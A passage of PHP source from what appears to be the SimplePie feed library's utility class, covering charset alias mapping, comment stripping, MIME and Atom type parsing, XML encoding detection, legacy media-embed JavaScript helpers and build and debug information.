			case '866':
			case 'cp866':
			case 'csibm866':
			case 'ibm866':
				return 'IBM866';

			case 'cp868':
			case 'cpar':
			case 'csibm868':
			case 'ibm868':
				return 'IBM868';

			case '869':
			case 'cp869':
			case 'cpgr':
			case 'csibm869':
			case 'ibm869':
				return 'IBM869';

			case 'cp870':
			case 'csibm870':
			case 'ebcdiccproece':
			case 'ebcdiccpyu':
			case 'ibm870':
				return 'IBM870';

			case 'cp871':
			case 'csibm871':
			case 'ebcdiccpis':
			case 'ibm871':
				return 'IBM871';

			case 'cp880':
			case 'csibm880':
			case 'ebcdiccyrillic':
			case 'ibm880':
				return 'IBM880';

			case 'cp891':
			case 'csibm891':
			case 'ibm891':
				return 'IBM891';

			case 'cp903':
			case 'csibm903':
			case 'ibm903':
				return 'IBM903';

			case '904':
			case 'cp904':
			case 'csibbm904':
			case 'ibm904':
				return 'IBM904';

			case 'cp905':
			case 'csibm905':
			case 'ebcdiccptr':
			case 'ibm905':
				return 'IBM905';

			case 'cp918':
			case 'csibm918':
			case 'ebcdiccpar2':
			case 'ibm918':
				return 'IBM918';

			case 'ccsid924':
			case 'cp924':
			case 'ebcdiclatin9euro':
			case 'ibm924':
				return 'IBM00924';

			case 'cp1026':
			case 'csibm1026':
			case 'ibm1026':
				return 'IBM1026';

			case 'ibm1047':
				return 'IBM1047';

			case 'ccsid1140':
			case 'cp1140':
			case 'ebcdicus37euro':
			case 'ibm1140':
				return 'IBM01140';

			case 'ccsid1141':
			case 'cp1141':
			case 'ebcdicde273euro':
			case 'ibm1141':
				return 'IBM01141';

			case 'ccsid1142':
			case 'cp1142':
			case 'ebcdicdk277euro':
			case 'ebcdicno277euro':
			case 'ibm1142':
				return 'IBM01142';

			case 'ccsid1143':
			case 'cp1143':
			case 'ebcdicfi278euro':
			case 'ebcdicse278euro':
			case 'ibm1143':
				return 'IBM01143';

			case 'ccsid1144':
			case 'cp1144':
			case 'ebcdicit280euro':
			case 'ibm1144':
				return 'IBM01144';

			case 'ccsid1145':
			case 'cp1145':
			case 'ebcdices284euro':
			case 'ibm1145':
				return 'IBM01145';

			case 'ccsid1146':
			case 'cp1146':
			case 'ebcdicgb285euro':
			case 'ibm1146':
				return 'IBM01146';

			case 'ccsid1147':
			case 'cp1147':
			case 'ebcdicfr297euro':
			case 'ibm1147':
				return 'IBM01147';

			case 'ccsid1148':
			case 'cp1148':
			case 'ebcdicinternational500euro':
			case 'ibm1148':
				return 'IBM01148';

			case 'ccsid1149':
			case 'cp1149':
			case 'ebcdicis871euro':
			case 'ibm1149':
				return 'IBM01149';

			case 'csiso143iecp271':
			case 'iecp271':
			case 'isoir143':
				return 'IEC_P27-1';

			case 'csiso49inis':
			case 'inis':
			case 'isoir49':
				return 'INIS';

			case 'csiso50inis8':
			case 'inis8':
			case 'isoir50':
				return 'INIS-8';

			case 'csiso51iniscyrillic':
			case 'iniscyrillic':
			case 'isoir51':
				return 'INIS-cyrillic';

			case 'csinvariant':
			case 'invariant':
				return 'INVARIANT';

			case 'iso2022cn':
				return 'ISO-2022-CN';

			case 'iso2022cnext':
				return 'ISO-2022-CN-EXT';

			case 'csiso2022jp':
			case 'iso2022jp':
				return 'ISO-2022-JP';

			case 'csiso2022jp2':
			case 'iso2022jp2':
				return 'ISO-2022-JP-2';

			case 'csiso2022kr':
			case 'iso2022kr':
				return 'ISO-2022-KR';

			case 'cswindows30latin1':
			case 'iso88591windows30latin1':
				return 'ISO-8859-1-Windows-3.0-Latin-1';

			case 'cswindows31latin1':
			case 'iso88591windows31latin1':
				return 'ISO-8859-1-Windows-3.1-Latin-1';

			case 'csisolatin2':
			case 'iso88592':
			case 'iso885921987':
			case 'isoir101':
			case 'l2':
			case 'latin2':
				return 'ISO-8859-2';

			case 'cswindows31latin2':
			case 'iso88592windowslatin2':
				return 'ISO-8859-2-Windows-Latin-2';

			case 'csisolatin3':
			case 'iso88593':
			case 'iso885931988':
			case 'isoir109':
			case 'l3':
			case 'latin3':
				return 'ISO-8859-3';

			case 'csisolatin4':
			case 'iso88594':
			case 'iso885941988':
			case 'isoir110':
			case 'l4':
			case 'latin4':
				return 'ISO-8859-4';

			case 'csisolatincyrillic':
			case 'cyrillic':
			case 'iso88595':
			case 'iso885951988':
			case 'isoir144':
				return 'ISO-8859-5';

			case 'arabic':
			case 'asmo708':
			case 'csisolatinarabic':
			case 'ecma114':
			case 'iso88596':
			case 'iso885961987':
			case 'isoir127':
				return 'ISO-8859-6';

			case 'csiso88596e':
			case 'iso88596e':
				return 'ISO-8859-6-E';

			case 'csiso88596i':
			case 'iso88596i':
				return 'ISO-8859-6-I';

			case 'csisolatingreek':
			case 'ecma118':
			case 'elot928':
			case 'greek':
			case 'greek8':
			case 'iso88597':
			case 'iso885971987':
			case 'isoir126':
				return 'ISO-8859-7';

			case 'csisolatinhebrew':
			case 'hebrew':
			case 'iso88598':
			case 'iso885981988':
			case 'isoir138':
				return 'ISO-8859-8';

			case 'csiso88598e':
			case 'iso88598e':
				return 'ISO-8859-8-E';

			case 'csiso88598i':
			case 'iso88598i':
				return 'ISO-8859-8-I';

			case 'cswindows31latin5':
			case 'iso88599windowslatin5':
				return 'ISO-8859-9-Windows-Latin-5';

			case 'csisolatin6':
			case 'iso885910':
			case 'iso8859101992':
			case 'isoir157':
			case 'l6':
			case 'latin6':
				return 'ISO-8859-10';

			case 'iso885913':
				return 'ISO-8859-13';

			case 'iso885914':
			case 'iso8859141998':
			case 'isoceltic':
			case 'isoir199':
			case 'l8':
			case 'latin8':
				return 'ISO-8859-14';

			case 'iso885915':
			case 'latin9':
				return 'ISO-8859-15';

			case 'iso885916':
			case 'iso8859162001':
			case 'isoir226':
			case 'l10':
			case 'latin10':
				return 'ISO-8859-16';

			case 'iso10646j1':
				return 'ISO-10646-J-1';

			case 'csunicode':
			case 'iso10646ucs2':
				return 'ISO-10646-UCS-2';

			case 'csucs4':
			case 'iso10646ucs4':
				return 'ISO-10646-UCS-4';

			case 'csunicodeascii':
			case 'iso10646ucsbasic':
				return 'ISO-10646-UCS-Basic';

			case 'csunicodelatin1':
			case 'iso10646':
			case 'iso10646unicodelatin1':
				return 'ISO-10646-Unicode-Latin1';

			case 'csiso10646utf1':
			case 'iso10646utf1':
				return 'ISO-10646-UTF-1';

			case 'csiso115481':
			case 'iso115481':
			case 'isotr115481':
				return 'ISO-11548-1';

			case 'csiso90':
			case 'isoir90':
				return 'iso-ir-90';

			case 'csunicodeibm1261':
			case 'isounicodeibm1261':
				return 'ISO-Unicode-IBM-1261';

			case 'csunicodeibm1264':
			case 'isounicodeibm1264':
				return 'ISO-Unicode-IBM-1264';

			case 'csunicodeibm1265':
			case 'isounicodeibm1265':
				return 'ISO-Unicode-IBM-1265';

			case 'csunicodeibm1268':
			case 'isounicodeibm1268':
				return 'ISO-Unicode-IBM-1268';

			case 'csunicodeibm1276':
			case 'isounicodeibm1276':
				return 'ISO-Unicode-IBM-1276';

			case 'csiso646basic1983':
			case 'iso646basic1983':
			case 'ref':
				return 'ISO_646.basic:1983';

			case 'csiso2intlrefversion':
			case 'irv':
			case 'iso646irv1983':
			case 'isoir2':
				return 'ISO_646.irv:1983';

			case 'csiso2033':
			case 'e13b':
			case 'iso20331983':
			case 'isoir98':
				return 'ISO_2033-1983';

			case 'csiso5427cyrillic':
			case 'iso5427':
			case 'isoir37':
				return 'ISO_5427';

			case 'iso5427cyrillic1981':
			case 'iso54271981':
			case 'isoir54':
				return 'ISO_5427:1981';

			case 'csiso5428greek':
			case 'iso54281980':
			case 'isoir55':
				return 'ISO_5428:1980';

			case 'csiso6937add':
			case 'iso6937225':
			case 'isoir152':
				return 'ISO_6937-2-25';

			case 'csisotextcomm':
			case 'iso69372add':
			case 'isoir142':
				return 'ISO_6937-2-add';

			case 'csiso8859supp':
			case 'iso8859supp':
			case 'isoir154':
			case 'latin125':
				return 'ISO_8859-supp';

			case 'csiso10367box':
			case 'iso10367box':
			case 'isoir155':
				return 'ISO_10367-box';

			case 'csiso15italian':
			case 'iso646it':
			case 'isoir15':
			case 'it':
				return 'IT';

			case 'csiso13jisc6220jp':
			case 'isoir13':
			case 'jisc62201969':
			case 'jisc62201969jp':
			case 'katakana':
			case 'x2017':
				return 'JIS_C6220-1969-jp';

			case 'csiso14jisc6220ro':
			case 'iso646jp':
			case 'isoir14':
			case 'jisc62201969ro':
			case 'jp':
				return 'JIS_C6220-1969-ro';

			case 'csiso42jisc62261978':
			case 'isoir42':
			case 'jisc62261978':
				return 'JIS_C6226-1978';

			case 'csiso87jisx208':
			case 'isoir87':
			case 'jisc62261983':
			case 'jisx2081983':
			case 'x208':
				return 'JIS_C6226-1983';

			case 'csiso91jisc62291984a':
			case 'isoir91':
			case 'jisc62291984a':
			case 'jpocra':
				return 'JIS_C6229-1984-a';

			case 'csiso92jisc62991984b':
			case 'iso646jpocrb':
			case 'isoir92':
			case 'jisc62291984b':
			case 'jpocrb':
				return 'JIS_C6229-1984-b';

			case 'csiso93jis62291984badd':
			case 'isoir93':
			case 'jisc62291984badd':
			case 'jpocrbadd':
				return 'JIS_C6229-1984-b-add';

			case 'csiso94jis62291984hand':
			case 'isoir94':
			case 'jisc62291984hand':
			case 'jpocrhand':
				return 'JIS_C6229-1984-hand';

			case 'csiso95jis62291984handadd':
			case 'isoir95':
			case 'jisc62291984handadd':
			case 'jpocrhandadd':
				return 'JIS_C6229-1984-hand-add';

			case 'csiso96jisc62291984kana':
			case 'isoir96':
			case 'jisc62291984kana':
				return 'JIS_C6229-1984-kana';

			case 'csjisencoding':
			case 'jisencoding':
				return 'JIS_Encoding';

			case 'cshalfwidthkatakana':
			case 'jisx201':
			case 'x201':
				return 'JIS_X0201';

			case 'csiso159jisx2121990':
			case 'isoir159':
			case 'jisx2121990':
			case 'x212':
				return 'JIS_X0212-1990';

			case 'csiso141jusib1002':
			case 'iso646yu':
			case 'isoir141':
			case 'js':
			case 'jusib1002':
			case 'yu':
				return 'JUS_I.B1.002';

			case 'csiso147macedonian':
			case 'isoir147':
			case 'jusib1003mac':
			case 'macedonian':
				return 'JUS_I.B1.003-mac';

			case 'csiso146serbian':
			case 'isoir146':
			case 'jusib1003serb':
			case 'serbian':
				return 'JUS_I.B1.003-serb';

			case 'koi7switched':
				return 'KOI7-switched';

			case 'cskoi8r':
			case 'koi8r':
				return 'KOI8-R';

			case 'koi8u':
				return 'KOI8-U';

			case 'csksc5636':
			case 'iso646kr':
			case 'ksc5636':
				return 'KSC5636';

			case 'cskz1048':
			case 'kz1048':
			case 'rk1048':
			case 'strk10482002':
				return 'KZ-1048';

			case 'csiso19latingreek':
			case 'isoir19':
			case 'latingreek':
				return 'latin-greek';

			case 'csiso27latingreek1':
			case 'isoir27':
			case 'latingreek1':
				return 'Latin-greek-1';

			case 'csiso158lap':
			case 'isoir158':
			case 'lap':
			case 'latinlap':
				return 'latin-lap';

			case 'csmacintosh':
			case 'mac':
			case 'macintosh':
				return 'macintosh';

			case 'csmicrosoftpublishing':
			case 'microsoftpublishing':
				return 'Microsoft-Publishing';

			case 'csmnem':
			case 'mnem':
				return 'MNEM';

			case 'csmnemonic':
			case 'mnemonic':
				return 'MNEMONIC';

			case 'csiso86hungarian':
			case 'hu':
			case 'iso646hu':
			case 'isoir86':
			case 'msz77953':
				return 'MSZ_7795.3';

			case 'csnatsdano':
			case 'isoir91':
			case 'natsdano':
				return 'NATS-DANO';

			case 'csnatsdanoadd':
			case 'isoir92':
			case 'natsdanoadd':
				return 'NATS-DANO-ADD';

			case 'csnatssefi':
			case 'isoir81':
			case 'natssefi':
				return 'NATS-SEFI';

			case 'csnatssefiadd':
			case 'isoir82':
			case 'natssefiadd':
				return 'NATS-SEFI-ADD';

			case 'csiso151cuba':
			case 'cuba':
			case 'iso646cu':
			case 'isoir151':
			case 'ncnc1081':
				return 'NC_NC00-10:81';

			case 'csiso69french':
			case 'fr':
			case 'iso646fr':
			case 'isoir69':
			case 'nfz62010':
				return 'NF_Z_62-010';

			case 'csiso25french':
			case 'iso646fr1':
			case 'isoir25':
			case 'nfz620101973':
				return 'NF_Z_62-010_(1973)';

			case 'csiso60danishnorwegian':
			case 'csiso60norwegian1':
			case 'iso646no':
			case 'isoir60':
			case 'no':
			case 'ns45511':
				return 'NS_4551-1';

			case 'csiso61norwegian2':
			case 'iso646no2':
			case 'isoir61':
			case 'no2':
			case 'ns45512':
				return 'NS_4551-2';

			case 'osdebcdicdf3irv':
				return 'OSD_EBCDIC_DF03_IRV';

			case 'osdebcdicdf41':
				return 'OSD_EBCDIC_DF04_1';

			case 'osdebcdicdf415':
				return 'OSD_EBCDIC_DF04_15';

			case 'cspc8danishnorwegian':
			case 'pc8danishnorwegian':
				return 'PC8-Danish-Norwegian';

			case 'cspc8turkish':
			case 'pc8turkish':
				return 'PC8-Turkish';

			case 'csiso16portuguese':
			case 'iso646pt':
			case 'isoir16':
			case 'pt':
				return 'PT';

			case 'csiso84portuguese2':
			case 'iso646pt2':
			case 'isoir84':
			case 'pt2':
				return 'PT2';

			case 'cp154':
			case 'csptcp154':
			case 'cyrillicasian':
			case 'pt154':
			case 'ptcp154':
				return 'PTCP154';

			case 'scsu':
				return 'SCSU';

			case 'csiso10swedish':
			case 'fi':
			case 'iso646fi':
			case 'iso646se':
			case 'isoir10':
			case 'se':
			case 'sen850200b':
				return 'SEN_850200_B';

			case 'csiso11swedishfornames':
			case 'iso646se2':
			case 'isoir11':
			case 'se2':
			case 'sen850200c':
				return 'SEN_850200_C';

			case 'csiso102t617bit':
			case 'isoir102':
			case 't617bit':
				return 'T.61-7bit';

			case 'csiso103t618bit':
			case 'isoir103':
			case 't61':
			case 't618bit':
				return 'T.61-8bit';

			case 'csiso128t101g2':
			case 'isoir128':
			case 't101g2':
				return 'T.101-G2';

			case 'cstscii':
			case 'tscii':
				return 'TSCII';

			case 'csunicode11':
			case 'unicode11':
				return 'UNICODE-1-1';

			case 'csunicode11utf7':
			case 'unicode11utf7':
				return 'UNICODE-1-1-UTF-7';

			case 'csunknown8bit':
			case 'unknown8bit':
				return 'UNKNOWN-8BIT';

			case 'ansix341968':
			case 'ansix341986':
			case 'ascii':
			case 'cp367':
			case 'csascii':
			case 'ibm367':
			case 'iso646irv1991':
			case 'iso646us':
			case 'isoir6':
			case 'us':
			case 'usascii':
				return 'US-ASCII';

			case 'csusdk':
			case 'usdk':
				return 'us-dk';

			case 'utf7':
				return 'UTF-7';

			case 'utf8':
				return 'UTF-8';

			case 'utf16':
				return 'UTF-16';

			case 'utf16be':
				return 'UTF-16BE';

			case 'utf16le':
				return 'UTF-16LE';

			case 'utf32':
				return 'UTF-32';

			case 'utf32be':
				return 'UTF-32BE';

			case 'utf32le':
				return 'UTF-32LE';

			case 'csventurainternational':
			case 'venturainternational':
				return 'Ventura-International';

			case 'csventuramath':
			case 'venturamath':
				return 'Ventura-Math';

			case 'csventuraus':
			case 'venturaus':
				return 'Ventura-US';

			case 'csiso70videotexsupp1':
			case 'isoir70':
			case 'videotexsuppl':
				return 'videotex-suppl';

			case 'csviqr':
			case 'viqr':
				return 'VIQR';

			case 'csviscii':
			case 'viscii':
				return 'VISCII';

			case 'csshiftjis':
			case 'cswindows31j':
			case 'mskanji':
			case 'shiftjis':
			case 'windows31j':
				return 'Windows-31J';

			case 'iso885911':
			case 'tis620':
				return 'windows-874';

			case 'cseuckr':
			case 'csksc56011987':
			case 'euckr':
			case 'isoir149':
			case 'korean':
			case 'ksc5601':
			case 'ksc56011987':
			case 'ksc56011989':
			case 'windows949':
				return 'windows-949';

			case 'windows1250':
				return 'windows-1250';

			case 'windows1251':
				return 'windows-1251';

			case 'cp819':
			case 'csisolatin1':
			case 'ibm819':
			case 'iso88591':
			case 'iso885911987':
			case 'isoir100':
			case 'l1':
			case 'latin1':
			case 'windows1252':
				return 'windows-1252';

			case 'windows1253':
				return 'windows-1253';

			case 'csisolatin5':
			case 'iso88599':
			case 'iso885991989':
			case 'isoir148':
			case 'l5':
			case 'latin5':
			case 'windows1254':
				return 'windows-1254';

			case 'windows1255':
				return 'windows-1255';

			case 'windows1256':
				return 'windows-1256';

			case 'windows1257':
				return 'windows-1257';

			case 'windows1258':
				return 'windows-1258';

			default:
				return $charset;
		}
	}

	public static function get_curl_version()
	{
		if (is_array($curl = curl_version()))
		{
			$curl = $curl['version'];
		}
		elseif (substr($curl, 0, 5) === 'curl/')
		{
			$curl = substr($curl, 5, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 5));
		}
		elseif (substr($curl, 0, 8) === 'libcurl/')
		{
			$curl = substr($curl, 8, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 8));
		}
		else
		{
			$curl = 0;
		}
		return $curl;
	}

	/**
	 * Strip HTML comments
	 *
	 * @param string $data Data to strip comments from
	 * @return string Comment stripped string
	 */
	public static function strip_comments($data)
	{
		$output = '';
		while (($start = strpos($data, '<!--')) !== false)
		{
			$output .= substr($data, 0, $start);
			if (($end = strpos($data, '-->', $start)) !== false)
			{
				$data = substr_replace($data, '', 0, $end + 3);
			}
			else
			{
				$data = '';
			}
		}
		return $output . $data;
	}

	public static function parse_date($dt)
	{
		$parser = SimplePie_Parse_Date::get();
		return $parser->parse($dt);
	}

	/**
	 * Decode HTML entities
	 *
	 * @deprecated Use DOMDocument instead
	 * @param string $data Input data
	 * @return string Output data
	 */
	public static function entities_decode($data)
	{
		$decoder = new SimplePie_Decode_HTML_Entities($data);
		return $decoder->parse();
	}

	/**
	 * Remove RFC822 comments
	 *
	 * @param string $data Data to strip comments from
	 * @return string Comment stripped string
	 */
	public static function uncomment_rfc822($string)
	{
		$string = (string) $string;
		$position = 0;
		$length = strlen($string);
		$depth = 0;

		$output = '';

		while ($position < $length && ($pos = strpos($string, '(', $position)) !== false)
		{
			$output .= substr($string, $position, $pos - $position);
			$position = $pos + 1;
			if ($string[$pos - 1] !== '\\')
			{
				$depth++;
				while ($depth && $position < $length)
				{
					$position += strcspn($string, '()', $position);
					if ($string[$position - 1] === '\\')
					{
						$position++;
						continue;
					}
					elseif (isset($string[$position]))
					{
						switch ($string[$position])
						{
							case '(':
								$depth++;
								break;

							case ')':
								$depth--;
								break;
						}
						$position++;
					}
					else
					{
						break;
					}
				}
			}
			else
			{
				$output .= '(';
			}
		}
		$output .= substr($string, $position);

		return $output;
	}

	public static function parse_mime($mime)
	{
		if (($pos = strpos($mime, ';')) === false)
		{
			return trim($mime);
		}

		return trim(substr($mime, 0, $pos));
	}

	public static function atom_03_construct_type($attribs)
	{
		if (isset($attribs['']['mode']) && strtolower(trim($attribs['']['mode']) === 'base64'))
		{
			$mode = SIMPLEPIE_CONSTRUCT_BASE64;
		}
		else
		{
			$mode = SIMPLEPIE_CONSTRUCT_NONE;
		}
		if (isset($attribs['']['type']))
		{
			switch (strtolower(trim($attribs['']['type'])))
			{
				case 'text':
				case 'text/plain':
					return SIMPLEPIE_CONSTRUCT_TEXT | $mode;

				case 'html':
				case 'text/html':
					return SIMPLEPIE_CONSTRUCT_HTML | $mode;

				case 'xhtml':
				case 'application/xhtml+xml':
					return SIMPLEPIE_CONSTRUCT_XHTML | $mode;

				default:
					return SIMPLEPIE_CONSTRUCT_NONE | $mode;
			}
		}

		return SIMPLEPIE_CONSTRUCT_TEXT | $mode;
	}

	public static function atom_10_construct_type($attribs)
	{
		if (isset($attribs['']['type']))
		{
			switch (strtolower(trim($attribs['']['type'])))
			{
				case 'text':
					return SIMPLEPIE_CONSTRUCT_TEXT;

				case 'html':
					return SIMPLEPIE_CONSTRUCT_HTML;

				case 'xhtml':
					return SIMPLEPIE_CONSTRUCT_XHTML;

				default:
					return SIMPLEPIE_CONSTRUCT_NONE;
			}
		}
		return SIMPLEPIE_CONSTRUCT_TEXT;
	}

	public static function atom_10_content_construct_type($attribs)
	{
		if (isset($attribs['']['type']))
		{
			$type = strtolower(trim($attribs['']['type']));
			switch ($type)
			{
				case 'text':
					return SIMPLEPIE_CONSTRUCT_TEXT;

				case 'html':
					return SIMPLEPIE_CONSTRUCT_HTML;

				case 'xhtml':
					return SIMPLEPIE_CONSTRUCT_XHTML;
			}
			if (in_array(substr($type, -4), array('+xml', '/xml')) || substr($type, 0, 5) === 'text/')
			{
				return SIMPLEPIE_CONSTRUCT_NONE;
			}
			else
			{
				return SIMPLEPIE_CONSTRUCT_BASE64;
			}
		}

		return SIMPLEPIE_CONSTRUCT_TEXT;
	}

	public static function is_isegment_nz_nc($string)
	{
		return (bool) preg_match('/^([A-Za-z0-9\-._~\x{A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}\x{10000}-\x{1FFFD}\x{20000}-\x{2FFFD}\x{30000}-\x{3FFFD}\x{40000}-\x{4FFFD}\x{50000}-\x{5FFFD}\x{60000}-\x{6FFFD}\x{70000}-\x{7FFFD}\x{80000}-\x{8FFFD}\x{90000}-\x{9FFFD}\x{A0000}-\x{AFFFD}\x{B0000}-\x{BFFFD}\x{C0000}-\x{CFFFD}\x{D0000}-\x{DFFFD}\x{E1000}-\x{EFFFD}!$&\'()*+,;=@]|(%[0-9ABCDEF]{2}))+$/u', $string);
	}

	public static function space_separated_tokens($string)
	{
		$space_characters = "\x20\x09\x0A\x0B\x0C\x0D";
		$string_length = strlen($string);

		$position = strspn($string, $space_characters);
		$tokens = array();

		while ($position < $string_length)
		{
			$len = strcspn($string, $space_characters, $position);
			$tokens[] = substr($string, $position, $len);
			$position += $len;
			$position += strspn($string, $space_characters, $position);
		}

		return $tokens;
	}

	/**
	 * Converts a unicode codepoint to a UTF-8 character
	 *
	 * @static
	 * @param int $codepoint Unicode codepoint
	 * @return string UTF-8 character
	 */
	public static function codepoint_to_utf8($codepoint)
	{
		$codepoint = (int) $codepoint;
		if ($codepoint < 0)
		{
			return false;
		}
		else if ($codepoint <= 0x7f)
		{
			return chr($codepoint);
		}
		else if ($codepoint <= 0x7ff)
		{
			return chr(0xc0 | ($codepoint >> 6)) . chr(0x80 | ($codepoint & 0x3f));
		}
		else if ($codepoint <= 0xffff)
		{
			return chr(0xe0 | ($codepoint >> 12)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f));
		}
		else if ($codepoint <= 0x10ffff)
		{
			return chr(0xf0 | ($codepoint >> 18)) . chr(0x80 | (($codepoint >> 12) & 0x3f)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f));
		}

		// U+FFFD REPLACEMENT CHARACTER
		return "\xEF\xBF\xBD";
	}

	/**
	 * Similar to parse_str()
	 *
	 * Returns an associative array of name/value pairs, where the value is an
	 * array of values that have used the same name
	 *
	 * @static
	 * @param string $str The input string.
	 * @return array
	 */
	public static function parse_str($str)
	{
		$return = array();
		$str = explode('&', $str);

		foreach ($str as $section)
		{
			if (strpos($section, '=') !== false)
			{
				list($name, $value) = explode('=', $section, 2);
				$return[urldecode($name)][] = urldecode($value);
			}
			else
			{
				$return[urldecode($section)][] = null;
			}
		}

		return $return;
	}

	/**
	 * Detect XML encoding, as per XML 1.0 Appendix F.1
	 *
	 * @todo Add support for EBCDIC
	 * @param string $data XML data
	 * @param SimplePie_Registry $registry Class registry
	 * @return array Possible encodings
	 */
	public static function xml_encoding($data, $registry)
	{
		// UTF-32 Big Endian BOM
		if (substr($data, 0, 4) === "\x00\x00\xFE\xFF")
		{
			$encoding[] = 'UTF-32BE';
		}
		// UTF-32 Little Endian BOM
		elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00")
		{
			$encoding[] = 'UTF-32LE';
		}
		// UTF-16 Big Endian BOM
		elseif (substr($data, 0, 2) === "\xFE\xFF")
		{
			$encoding[] = 'UTF-16BE';
		}
		// UTF-16 Little Endian BOM
		elseif (substr($data, 0, 2) === "\xFF\xFE")
		{
			$encoding[] = 'UTF-16LE';
		}
		// UTF-8 BOM
		elseif (substr($data, 0, 3) === "\xEF\xBB\xBF")
		{
			$encoding[] = 'UTF-8';
		}
		// UTF-32 Big Endian Without BOM
		elseif (substr($data, 0, 20) === "\x00\x00\x00\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C")
		{
			if ($pos = strpos($data, "\x00\x00\x00\x3F\x00\x00\x00\x3E"))
			{
				$parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32BE', 'UTF-8')));
				if ($parser->parse())
				{
					$encoding[] = $parser->encoding;
				}
			}
			$encoding[] = 'UTF-32BE';
		}
		// UTF-32 Little Endian Without BOM
		elseif (substr($data, 0, 20) === "\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C\x00\x00\x00")
		{
			if ($pos = strpos($data, "\x3F\x00\x00\x00\x3E\x00\x00\x00"))
			{
				$parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32LE', 'UTF-8')));
				if ($parser->parse())
				{
					$encoding[] = $parser->encoding;
				}
			}
			$encoding[] = 'UTF-32LE';
		}
		// UTF-16 Big Endian Without BOM
		elseif (substr($data, 0, 10) === "\x00\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C")
		{
			if ($pos = strpos($data, "\x00\x3F\x00\x3E"))
			{
				$parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16BE', 'UTF-8')));
				if ($parser->parse())
				{
					$encoding[] = $parser->encoding;
				}
			}
			$encoding[] = 'UTF-16BE';
		}
		// UTF-16 Little Endian Without BOM
		elseif (substr($data, 0, 10) === "\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C\x00")
		{
			if ($pos = strpos($data, "\x3F\x00\x3E\x00"))
			{
				$parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16LE', 'UTF-8')));
				if ($parser->parse())
				{
					$encoding[] = $parser->encoding;
				}
			}
			$encoding[] = 'UTF-16LE';
		}
		// US-ASCII (or superset)
		elseif (substr($data, 0, 5) === "\x3C\x3F\x78\x6D\x6C")
		{
			if ($pos = strpos($data, "\x3F\x3E"))
			{
				$parser = $registry->create('XML_Declaration_Parser', array(substr($data, 5, $pos - 5)));
				if ($parser->parse())
				{
					$encoding[] = $parser->encoding;
				}
			}
			$encoding[] = 'UTF-8';
		}
		// Fallback to UTF-8
		else
		{
			$encoding[] = 'UTF-8';
		}
		return $encoding;
	}

	public static function output_javascript()
	{
		if (function_exists('ob_gzhandler'))
		{
			ob_start('ob_gzhandler');
		}
		header('Content-type: text/javascript; charset: UTF-8');
		header('Cache-Control: must-revalidate');
		header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 604800) . ' GMT'); // 7 days
		?>
function embed_quicktime(type, bgcolor, width, height, link, placeholder, loop) {
	if (placeholder != '') {
		document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" href="'+link+'" src="'+placeholder+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="false" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>');
	}
	else {
		document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" src="'+link+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="true" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>');
	}
}

function embed_flash(bgcolor, width, height, link, loop, type) {
	document.writeln('<embed src="'+link+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="'+type+'" quality="high" width="'+width+'" height="'+height+'" bgcolor="'+bgcolor+'" loop="'+loop+'"></embed>');
}

function embed_flv(width, height, link, placeholder, loop, player) {
	document.writeln('<embed src="'+player+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" quality="high" width="'+width+'" height="'+height+'" wmode="transparent" flashvars="file='+link+'&autostart=false&repeat='+loop+'&showdigits=true&showfsbutton=false"></embed>');
}

function embed_wmedia(width, height, link) {
	document.writeln('<embed type="application/x-mplayer2" src="'+link+'" autosize="1" width="'+width+'" height="'+height+'" showcontrols="1" showstatusbar="0" showdisplay="0" autostart="0"></embed>');
}
		<?php
	}

	/**
	 * Get the SimplePie build timestamp
	 *
	 * Uses the git index if it exists, otherwise uses the modification time
	 * of the newest file.
	 */
	public static function get_build()
	{
		$root = dirname(dirname(__FILE__));
		if (file_exists($root . '/.git/index'))
		{
			return filemtime($root . '/.git/index');
		}
		elseif (file_exists($root . '/SimplePie'))
		{
			$time = 0;
			foreach (glob($root . '/SimplePie/*.php') as $file)
			{
				if (($mtime = filemtime($file)) > $time)
				{
					$time = $mtime;
				}
			}
			return $time;
		}
		elseif (file_exists(dirname(__FILE__) . '/Core.php'))
		{
			return filemtime(dirname(__FILE__) . '/Core.php');
		}

		return filemtime(__FILE__);
	}

	/**
	 * Format debugging information
	 */
	public static function debug(&$sp)
	{
		$info = 'SimplePie ' . SIMPLEPIE_VERSION . ' Build ' . SIMPLEPIE_BUILD . "\n";
		$info .= 'PHP ' . PHP_VERSION . "\n";
		if ($sp->error() !== null)
		{
			$info .= 'Error occurred: ' . $sp->error() . "\n";
		}
		else
		{
			$info .= "No error found.\n";
		}
		$info .= "Extensions:\n";
		$extensions = array('pcre', 'curl', 'zlib', 'mbstring', 'iconv', 'xmlreader', 'xml');
		foreach ($extensions as $ext)
		{
			if (extension_loaded($ext))
			{
				$info .= "    $ext loaded\n";
				switch ($ext)
				{
					case 'pcre':
						$info .= '      Version ' . PCRE_VERSION . "\n";
						break;
					case 'curl':
						$version = curl_version();
